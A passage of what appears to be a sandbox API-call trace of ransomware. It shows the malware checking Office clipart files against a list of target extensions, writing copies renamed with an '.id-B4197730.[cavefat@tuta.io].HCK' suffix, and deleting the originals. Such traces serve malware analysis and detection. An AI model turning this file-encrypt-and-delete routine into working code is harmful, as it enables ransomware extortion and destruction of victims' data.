Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString=".doc") returned 4 [0179.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString=".docx") returned 5 [0179.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.318] lstrlenW (lpString=".pdf") returned 4 [0179.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString=".xls") returned 4 [0179.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.318] lstrlenW (lpString=".xlsx") returned 5 [0179.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.318] lstrlenW (lpString=".ppt") returned 4 [0179.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString=".zip") returned 4 [0179.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.318] lstrlenW (lpString=".rar") returned 4 [0179.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString=".bz2") returned 4 [0179.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.319] lstrlenW (lpString=".7z") returned 3 [0179.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.319] lstrlenW (lpString=".dbf") returned 4 [0179.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.319] lstrlenW (lpString=".1cd") returned 4 [0179.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.319] lstrlenW (lpString=".jpg") returned 4 [0179.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.319] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.319] lstrlenW (lpString="PE02282_.WMF") returned 12 [0179.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.320] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=29696) returned 1 [0179.320] CloseHandle (hObject=0x370) returned 1 [0179.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf")) returned 0x220 [0179.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.328] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.328] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.330] GetLastError () returned 0x0 [0179.330] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7400, lpOverlapped=0x0) returned 1 [0179.333] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7410, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7410, lpOverlapped=0x0) returned 1 [0179.334] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.334] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.334] SetEndOfFile (hFile=0x370) returned 1 [0179.335] CloseHandle (hObject=0x370) returned 1 [0179.337] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.337] SetEndOfFile (hFile=0x2fc) returned 1 [0179.339] CloseHandle (hObject=0x2fc) returned 1 [0179.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf")) returned 1 [0179.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.345] lstrlenW (lpString=".doc") returned 4 [0179.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.345] lstrlenW (lpString=".docx") returned 5 [0179.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.346] lstrlenW (lpString=".pdf") returned 4 [0179.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString=".xls") returned 4 [0179.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.346] lstrlenW (lpString=".xlsx") returned 5 [0179.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.346] lstrlenW (lpString=".ppt") returned 4 [0179.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.346] lstrlenW (lpString=".zip") returned 4 [0179.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.346] lstrlenW (lpString=".rar") returned 4 [0179.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString=".bz2") returned 4 [0179.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString=".7z") returned 3 [0179.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.346] lstrlenW (lpString=".dbf") returned 4 [0179.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.346] lstrlenW (lpString=".1cd") returned 4 [0179.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.346] lstrlenW (lpString=".jpg") returned 4 [0179.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.346] lstrlenW (lpString=".doc") returned 4 [0179.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString=".docx") returned 5 [0179.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.346] lstrlenW (lpString=".pdf") returned 4 [0179.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString=".xls") returned 4 [0179.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.346] lstrlenW (lpString=".xlsx") returned 5 [0179.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.346] lstrlenW (lpString=".ppt") returned 4 [0179.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.346] lstrlenW (lpString=".zip") returned 4 [0179.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.347] lstrlenW (lpString=".rar") returned 4 [0179.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.347] lstrlenW (lpString=".bz2") returned 4 [0179.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.347] lstrlenW (lpString=".7z") returned 3 [0179.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.347] lstrlenW (lpString=".dbf") returned 4 [0179.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.347] lstrlenW (lpString=".1cd") returned 4 [0179.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 68 [0179.347] lstrlenW (lpString=".jpg") returned 4 [0179.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.347] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.347] lstrlenW (lpString="PE02293_.WMF") returned 12 [0179.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.348] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=22608) returned 1 [0179.348] CloseHandle (hObject=0x370) returned 1 [0179.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf")) returned 0x220 [0179.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.352] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.352] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.354] GetLastError () returned 0x0 [0179.354] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5850, lpOverlapped=0x0) returned 1 [0179.362] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5860, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5860, lpOverlapped=0x0) returned 1 [0179.363] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.364] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.364] SetEndOfFile (hFile=0x368) returned 1 [0179.369] CloseHandle (hObject=0x368) returned 1 [0179.372] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.372] SetEndOfFile (hFile=0x39c) returned 1 [0179.374] CloseHandle (hObject=0x39c) returned 1 [0179.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf")) returned 1 [0179.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.377] lstrlenW (lpString=".doc") returned 4 [0179.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.377] lstrlenW (lpString=".docx") returned 5 [0179.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.377] lstrlenW (lpString=".pdf") returned 4 [0179.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.377] lstrlenW (lpString=".xls") returned 4 [0179.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.378] lstrlenW (lpString=".xlsx") returned 5 [0179.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.378] lstrlenW (lpString=".ppt") returned 4 [0179.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".zip") returned 4 [0179.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.378] lstrlenW (lpString=".rar") returned 4 [0179.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString=".bz2") returned 4 [0179.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString=".7z") returned 3 [0179.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".dbf") returned 4 [0179.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".1cd") returned 4 [0179.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".jpg") returned 4 [0179.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".doc") returned 4 [0179.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString=".docx") returned 5 [0179.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.378] lstrlenW (lpString=".pdf") returned 4 [0179.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString=".xls") returned 4 [0179.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.378] lstrlenW (lpString=".xlsx") returned 5 [0179.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.378] lstrlenW (lpString=".ppt") returned 4 [0179.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".zip") returned 4 [0179.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.378] lstrlenW (lpString=".rar") returned 4 [0179.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString=".bz2") returned 4 [0179.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString=".7z") returned 3 [0179.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".dbf") returned 4 [0179.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".1cd") returned 4 [0179.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 68 [0179.378] lstrlenW (lpString=".jpg") returned 4 [0179.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.379] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.379] lstrlenW (lpString="PE02950_.WMF") returned 12 [0179.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.381] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7466) returned 1 [0179.381] CloseHandle (hObject=0x39c) returned 1 [0179.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf")) returned 0x220 [0179.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.383] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.383] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.390] GetLastError () returned 0x0 [0179.390] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1d2a, lpOverlapped=0x0) returned 1 [0179.392] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1d30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1d30, lpOverlapped=0x0) returned 1 [0179.393] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.393] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.393] SetEndOfFile (hFile=0x2fc) returned 1 [0179.395] CloseHandle (hObject=0x2fc) returned 1 [0179.396] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.396] SetEndOfFile (hFile=0x39c) returned 1 [0179.399] CloseHandle (hObject=0x39c) returned 1 [0179.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf")) returned 1 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString=".doc") returned 4 [0179.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString=".docx") returned 5 [0179.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.404] lstrlenW (lpString=".pdf") returned 4 [0179.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString=".xls") returned 4 [0179.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.404] lstrlenW (lpString=".xlsx") returned 5 [0179.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.404] lstrlenW (lpString=".ppt") returned 4 [0179.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString=".zip") returned 4 [0179.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.404] lstrlenW (lpString=".rar") returned 4 [0179.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString=".bz2") returned 4 [0179.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString=".7z") returned 3 [0179.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString=".dbf") returned 4 [0179.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString=".1cd") returned 4 [0179.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString=".jpg") returned 4 [0179.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.404] lstrlenW (lpString=".doc") returned 4 [0179.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.404] lstrlenW (lpString=".docx") returned 5 [0179.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.405] 